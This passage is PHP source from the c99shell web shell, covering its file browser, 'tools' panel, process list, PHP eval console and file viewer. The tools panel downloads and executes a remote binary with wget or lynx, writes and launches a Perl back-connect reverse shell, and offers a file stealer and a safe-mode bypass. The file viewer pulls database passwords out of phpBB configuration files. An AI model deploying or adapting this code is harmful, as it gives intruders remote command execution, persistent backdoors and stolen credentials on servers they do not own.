  2725. if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  2726. }
  2727. $v = $parsesort[0];
  2728. usort($objects["folders"], "tabsort");
  2729. usort($objects["links"], "tabsort");
  2730. usort($objects["files"], "tabsort");
  2731. if ($parsesort[1] == "d")
  2732. {
  2733. $objects["folders"] = array_reverse($objects["folders"]);
  2734. $objects["files"] = array_reverse($objects["files"]);
  2735. }
  2736. $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  2737. $tab = array();
  2738. $tab["cols"] = array($row);
  2739. $tab["head"] = array();
  2740. $tab["folders"] = array();
  2741. $tab["links"] = array();
  2742. $tab["files"] = array();
  2743. $i = 0;
  2744. foreach ($objects as $a)
  2745. {
  2746. $v = $a[0];
  2747. $o = basename($v);
  2748. $dir = dirname($v);
  2749. if ($disp_fullpath) {$disppath = $v;}
  2750. else {$disppath = $o;}
  2751. $disppath = str2mini($disppath,60);
  2752. if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  2753. elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  2754. foreach ($regxp_highlight as $r)
  2755. {
  2756. if (ereg($r[0],$o))
  2757. {
  2758. if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
  2759. else
  2760. {
  2761. $r[1] = round($r[1]);
  2762. $isdir = is_dir($v);
  2763. if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  2764. {
  2765. if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  2766. $disppath = $r[2].$disppath.$r[3];
  2767. if ($r[4]) {break;}
  2768. }
  2769. }
  2770. }
  2771. }
  2772. $uo = urlencode($o);
  2773. $ud = urlencode($dir);
  2774. $uv = urlencode($v);
  2775. $row = array();
  2776. if ($o == ".")
  2777. {
  2778. $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2779. $row[] = "LINK";
  2780. }
  2781. elseif ($o == "..")
  2782. {
  2783. $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2784. $row[] = "LINK";
  2785. }
  2786. elseif (is_dir($v))
  2787. {
  2788. if (is_link($v))
  2789. {
  2790. $disppath .= " => ".readlink($v);
  2791. $type = "LINK";
  2792. $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2793. }
  2794. else
  2795. {
  2796. $type = "DIR";
  2797. $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2798. }
  2799. $row[] = $type;
  2800. }
  2801. elseif(is_file($v))
  2802. {
  2803. $ext = explode(".",$o);
  2804. $c = count($ext)-1;
  2805. $ext = $ext[$c];
  2806. $ext = strtolower($ext);
  2807. $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  2808. $row[] = view_size($a[1]);
  2809. }
  2810. $row[] = date("d.m.Y H:i:s",$a[2]);
  2811. if (!$win) {$row[] = $a[3];}
  2812. $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  2813. if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  2814. else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  2815. if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> ".$checkbox;}
  2816. else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a> ".$checkbox;}
  2817. if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  2818. elseif (is_link($v)) {$tab["links"][] = $row;}
  2819. elseif (is_dir($v)) {$tab["folders"][] = $row;}
  2820. elseif (is_file($v)) {$tab["files"][] = $row;}
  2821. $i++;
  2822. }
  2823. }
  2824. // Compiling table
  2825. $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  2826. echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact.'><input type=hidden name=d value="'.$dispd.'">';
  2827. $countrows = 0;
  2828. foreach($table as $row)
  2829. {
  2830. if ($countrows & 1) {
  2831. echo "<tr bgcolor=#111111>\r\n";
  2832. } else {
  2833. echo "<tr>\r\n";
  2834. }
  2835. ++$countrows;
  2836. foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  2837. echo "</tr>\r\n";
  2838. }
  2839. echo "</table><hr size=\"1\" noshade><p align=\"right\">
  2840. <script>
  2841. function ls_setcheckboxall(status)
  2842. {
  2843. var id = 1;
  2844. var num = ".(count($table)-2).";
  2845. while (id <= num)
  2846. {
  2847. document.getElementById('actbox'+id).checked = status;
  2848. id++;
  2849. }
  2850. }
  2851. function ls_reverse_all()
  2852. {
  2853. var id = 1;
  2854. var num = ".(count($table)-2).";
  2855. while (id <= num)
  2856. {
  2857. document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  2858. id++;
  2859. }
  2860. }
  2861. </script>
  2862. <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">  <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
  2863. <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  2864. if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  2865. {
  2866. echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">      <input type=submit name=\"actpastebuff\" value=\"Paste\">      <input type=submit name=\"actemptybuff\" value=\"Empty buffer\">      ";
  2867. }
  2868. echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  2869. echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  2870. echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  2871. echo "<option value=md5file".($dspact == "md5file"?" selected":"").">MD5 Checksum</option>";
  2872. echo "<option value=sha1file".($dspact == "sha1file"?" selected":"").">SHA1 Checksum</option>";
  2873. if ($usefsbuff)
  2874. {
  2875. echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  2876. echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  2877. echo '<option value=unselect'.($dspact == "unselect"?" selected":"").'>Unselect</option>';
  2878. }
  2879. echo '</select> <input type=submit value="Confirm"></p></form>';
  2880. }
  2881. }
  2882. if ($act == 'tools')
  2883. {
  2884. ?>
  2885. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  2886. <tr><td height=1 valign=top colspan=2><center><b>:: Bind Functions By r57 ::</b></center>
  2887. </td></tr>
  2888. <tr><td width=50% height=83 valign=top>
  2889. <center>
  2890. <form action="<?php echo $surl; ?>">
  2891. <b>Bind With Backd00r Burner</b><br>
  2892. <form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools>
  2893. <br>
  2894. <select size=1 name="dolma"><option value="wgetcan">Use Wget</option><option value="lynxcan">Use lynx -dump</option><option value="freadcan">Use Fread</option></select> <input type=submit value="Burn it Baby"></form>
  2895. </td><td width=50% height=83 valign=top>
  2896. <center>
  2897. <b>Back-Connection</b>
  2898. <br><br>
  2899. <form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=<?php echo $ip;?>> Port: <input type=text name=backconnectport size=15 value=5992><br>
  2900. Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>
  2901. First, run NetCat on your computer using '<b>nc -l -n -v -p <?php echo $bc_port; ?></b>'.<br>
  2902. Then, click "Connect" once the port is listening.
  2903. </center>
  2904. </td></tr>
  2905. </table>
  2906. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  2907. <tr><td height=1 valign=top colspan=2><center><b>:: File Stealer Function Ripped From Tontonq's File Stealer ::</b></center></td></tr>
  2908. <tr>
  2909. <td width=50% height=83 valign=top>
  2910. <center><b>Safe-Mode Bypass</b>
  2911. <form action="<?php echo $surl; ?>" method=POST>
  2912. <input type=hidden name=act value=tools>
  2913. <textarea name="erorr" cols=100 rows=10></textarea></br>
  2914. <input type="text" name="nere" value="<?echo $real.'index.php';?> "size=84>
  2915. <input type="submit" value="Write to File">
  2916.  
  2917. </form>
  2918. </center>
  2919. </td>
  2920. <td width=50% height=83 valign=top>
  2921. <center>
  2922. <form action="<?php echo $surl; ?>" method=POST>
  2923. <input type=hidden name=act value=tools>
  2924. Dosyanin Adresi ? = <input type=text name=dosyaa size=81 maxlength=500><br><br>
  2925. Nereya Kaydolcak? = <input type="text" name="yeniyer" size=81 maxlength=191 value="<?php echo $real.'sploitz.zip'; ?>"><br><br>
  2926. <input type=submit class='stealthSubmit' Value='Dosyayi Chek'>
  2927. </form>
  2928. </center>
  2929. </td></tr>
  2930. </table>
  2931. <?php
  2932.  
  2933. if (isset($_POST['dosyaa']))
  2934. {
  2935. dosyayicek($_POST['dosyaa'],$_POST['yeniyer']);
  2936.  
  2937. }
  2938. if (!empty($_GET['ipi']) && !empty($_GET['pipi']))
  2939. {
  2940. cf("/tmp/back",$back_connect);
  2941. $p2=which("perl");
  2942. $blah = ex($p2." /tmp/back ".$_GET['ipi']." ".$_GET['pipi']." &");
  2943. echo"<b>Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...</b>";
  2944. }
  2945. if (!empty($_GET['dolma']))
  2946. {
  2947. $sayko=htmlspecialchars($_GET['dolma']);
  2948. if ($sayko == "wgetcan")
  2949. {
  2950.  
  2951. myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind");
  2952.  
  2953.  
  2954. }
  2955.  
  2956. else if ($sayko =="freadcan")
  2957. {
  2958. dosyayicek($adires,"sayko_bind");
  2959. myshellexec("./sayko_bind");
  2960. }
  2961.  
  2962. else if ($sayko == "lynxcan")
  2963. {
  2964. myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind");
  2965.  
  2966. }
  2967.  
  2968.  
  2969.  
  2970.  
  2971.  
  2972. }
  2973.  
  2974. if (!empty($_POST['erorr']))
  2975. {
  2976.  
  2977.  
  2978.  
  2979. error_log($_POST['erorr'], 3, "php://".$_POST['nere']);
  2980.  
  2981.  
  2982.  
  2983. }
  2984.  
  2985.  
  2986.  
  2987.  
  2988.  
  2989.  
  2990.  
  2991.  
  2992.  
  2993. }
  2994. if ($act == "processes")
  2995. {
  2996. echo "<b>Processes:</b><br>";
  2997. if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  2998. else {$handler = "tasklist";}
  2999. $ret = myshellexec($handler);
  3000. if (!$ret) {echo "Can't execute \"".$handler."\"!";}
  3001. else
  3002. {
  3003. if (empty($processes_sort)) {$processes_sort = $sort_default;}
  3004. $parsesort = parsesort($processes_sort);
  3005. if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  3006. $k = $parsesort[0];
  3007. if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  3008. else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  3009. $ret = htmlspecialchars($ret);
  3010. if (!$win)
  3011. {
  3012. if ($pid)
  3013. {
  3014. if (is_null($sig)) {$sig = 9;}
  3015. echo "Sending signal ".$sig." to #".$pid."... ";
  3016. if (posix_kill($pid,$sig)) {echo "OK.";}
  3017. else {echo "ERROR.";}
  3018. }
  3019. while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
  3020. $stack = explode("\n",$ret);
  3021. $head = explode(" ",$stack[0]);
  3022. unset($stack[0]);
  3023. for($i=0;$i<count($head);$i++)
  3024. {
  3025. if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  3026. }
  3027. $prcs = array();
  3028. foreach ($stack as $line)
  3029. {
  3030. if (!empty($line))
  3031. {
  3032. echo "<tr>";
  3033. $line = explode(" ",$line);
  3034. $line[10] = join(" ",array_slice($line,10));
  3035. $line = array_slice($line,0,11);
  3036. if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  3037. $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  3038. $prcs[] = $line;
  3039. echo "</tr>";
  3040. }
  3041. }
  3042. }
  3043. else
  3044. {
  3045. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3046. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3047. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3048. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3049. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3050. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3051. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3052. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3053. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3054. while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
  3055. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  3056. $ret = convert_cyr_string($ret,"d","w");
  3057. $stack = explode("\n",$ret);
  3058. unset($stack[0],$stack[2]);
  3059. $stack = array_values($stack);
  3060. $head = explode("",$stack[0]);
  3061. $head[1] = explode(" ",$head[1]);
  3062. $head[1] = $head[1][0];
  3063. $stack = array_slice($stack,1);
  3064. unset($head[2]);
  3065. $head = array_values($head);
  3066. if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  3067. else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  3068. if ($k > count($head)) {$k = count($head)-1;}
  3069. for($i=0;$i<count($head);$i++)
  3070. {
  3071. if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  3072. }
  3073. $prcs = array();
  3074. foreach ($stack as $line)
  3075. {
  3076. if (!empty($line))
  3077. {
  3078. echo "<tr>";
  3079. $line = explode("",$line);
  3080. $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  3081. $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  3082. $prcs[] = $line;
  3083. echo "</tr>";
  3084. }
  3085. }
  3086. }
  3087. $head[$k] = "<b>".$head[$k]."</b>".$y;
  3088. $v = $processes_sort[0];
  3089. usort($prcs,"tabsort");
  3090. if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  3091. $tab = array();
  3092. $tab[] = $head;
  3093. $tab = array_merge($tab,$prcs);
  3094. echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  3095. foreach($tab as $i=>$k)
  3096. {
  3097. echo "<tr>";
  3098. foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  3099. echo "</tr>";
  3100. }
  3101. echo "</table>";
  3102. }
  3103. }
  3104. if ($act == "eval")
  3105. {
  3106. if (!empty($eval))
  3107. {
  3108. echo "<b>Result of execution this PHP-code</b>:<br>";
  3109. $tmp = ob_get_contents();
  3110. $olddir = realpath(".");
  3111. @chdir($d);
  3112. if ($tmp)
  3113. {
  3114. ob_clean();
  3115. eval($eval);
  3116. $ret = ob_get_contents();
  3117. $ret = convert_cyr_string($ret,"d","w");
  3118. ob_clean();
  3119. echo $tmp;
  3120. if ($eval_txt)
  3121. {
  3122. $rows = count(explode("\r\n",$ret))+1;
  3123. if ($rows < 10) {$rows = 10;}
  3124. echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  3125. }
  3126. else {echo $ret."<br>";}
  3127. }
  3128. else
  3129. {
  3130. if ($eval_txt)
  3131. {
  3132. echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  3133. eval($eval);
  3134. echo "</textarea>";
  3135. }
  3136. else {echo $ret;}
  3137. }
  3138. @chdir($olddir);
  3139. }
  3140. else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  3141. echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  3142. }
  3143. if ($act == "f")
  3144. {
  3145. if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  3146. {
  3147. if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  3148. else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  3149. }
  3150. else
  3151. {
  3152. $r = @file_get_contents($d.$f);
  3153. $ext = explode(".",$f);
  3154. $c = count($ext)-1;
  3155. $ext = $ext[$c];
  3156. $ext = strtolower($ext);
  3157. $rft = "";
  3158. foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  3159. if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  3160. if (empty($ft)) {$ft = $rft;}
  3161. $arr = array(
  3162. array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  3163. array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  3164. array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  3165. array("Code","code"),
  3166. array("Session","phpsess"),
  3167. array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  3168. array("SDB","sdb"),
  3169. array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  3170. array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  3171. array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  3172. array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  3173. array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  3174. );
  3175. echo "<b>Viewing file:    <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  3176. foreach($arr as $t)
  3177. {
  3178. if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  3179. elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  3180. else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  3181. echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  3182. }
  3183. echo "<hr size=\"1\" noshade>";
  3184. if ($ft == "info")
  3185. {
  3186. echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  3187. if (!$win)
  3188. {
  3189. echo "<tr><td><b>Owner/Group</b></td><td> ";
  3190. $ow = posix_getpwuid(fileowner($d.$f));
  3191. $gr = posix_getgrgid(filegroup($d.$f));
  3192. echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  3193. }
  3194. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  3195. $fi = fopen($d.$f,"rb");
  3196. if ($fi)
  3197. {
  3198. if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  3199. else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  3200. $n = 0;
  3201. $a0 = "00000000<br>";
  3202. $a1 = "";
  3203. $a2 = "";
  3204. for ($i=0; $i<strlen($str); $i++)
  3205. {
  3206. $a1 .= sprintf("%02X",ord($str[$i]))." ";
  3207. switch (ord($str[$i]))
  3208. {
  3209. case 0: $a2 .= "<font>0</font>"; break;
  3210. case 32:
  3211. case 10:
  3212. case 13: $a2 .= " "; break;
  3213. default: $a2 .= htmlspecialchars($str[$i]);
  3214. }
  3215. $n++;
  3216. if ($n == $hexdump_rows)
  3217. {
  3218. $n = 0;
  3219. if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  3220. $a1 .= "<br>";
  3221. $a2 .= "<br>";
  3222. }
  3223. }
  3224. //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  3225. echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  3226. }
  3227. $encoded = "";
  3228. if ($base64 == 1)
  3229. {
  3230. echo "<b>Base64 Encode</b><br>";
  3231. $encoded = base64_encode(file_get_contents($d.$f));
  3232. }
  3233. elseif($base64 == 2)
  3234. {
  3235. echo "<b>Base64 Encode + Chunk</b><br>";
  3236. $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  3237. }
  3238. elseif($base64 == 3)
  3239. {
  3240. echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  3241. $encoded = base64_encode(file_get_contents($d.$f));
  3242. $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  3243. }
  3244. elseif($base64 == 4)
  3245. {
  3246. $text = file_get_contents($d.$f);
  3247. $encoded = base64_decode($text);
  3248. echo "<b>Base64 Decode";
  3249. if (base64_encode($encoded) != $text) {echo " (failed)";}
  3250. echo "</b><br>";
  3251. }
  3252. if (!empty($encoded))
  3253. {
  3254. echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  3255. }
  3256. echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  3257. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
  3258. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
  3259. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
  3260. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
  3261. <P>";
  3262. }
  3263. elseif ($ft == "html")
  3264. {
  3265. if ($white) {@ob_clean();}
  3266. echo $r;
  3267. if ($white) {c99shexit();}
  3268. }
  3269. elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  3270. elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  3271. elseif ($ft == "phpsess")
  3272. {
  3273. echo "<pre>";
  3274. $v = explode("|",$r);
  3275. echo $v[0]."<br>";
  3276. var_dump(unserialize($v[1]));
  3277. echo "</pre>";
  3278. }
  3279. elseif ($ft == "exe")
  3280. {
  3281. $ext = explode(".",$f);
  3282. $c = count($ext)-1;
  3283. $ext = $ext[$c];
  3284. $ext = strtolower($ext);
  3285. $rft = "";
  3286. foreach($exeftypes as $k=>$v)
  3287. {
  3288. if (in_array($ext,$v)) {$rft = $k; break;}
  3289. }
  3290. $cmd = str_replace("%f%",$f,$rft);
  3291. echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  3292. }
  3293. elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  3294. elseif ($ft == "code")
  3295. {
  3296. if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
  3297. {
  3298. $arr = explode("\n",$r);
  3299. if (count($arr == 18))
  3300. {
  3301. include($d.$f);
  3302. echo "<b>phpBB configuration is detected in this file!<br>";
  3303. if ($dbms == "mysql4") {$dbms = "mysql";}
  3304. if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  3305. else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
  3306. echo "Parameters for manual connect:<br>";
  3307. $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  3308. foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  3309. echo "</b><hr size=\"1\" noshade>";
  3310. }
  3311. }
  3312. echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  3313. if (!empty($white)) {@ob_clean();}
  3314. highlight_file($d.$f);
  3315. if (!empty($white)) {c99shexit();}
  3316. echo "</div>";
  3317. }
  3318. elseif ($ft == "download")
  3319. {
  3320. @ob_clean();
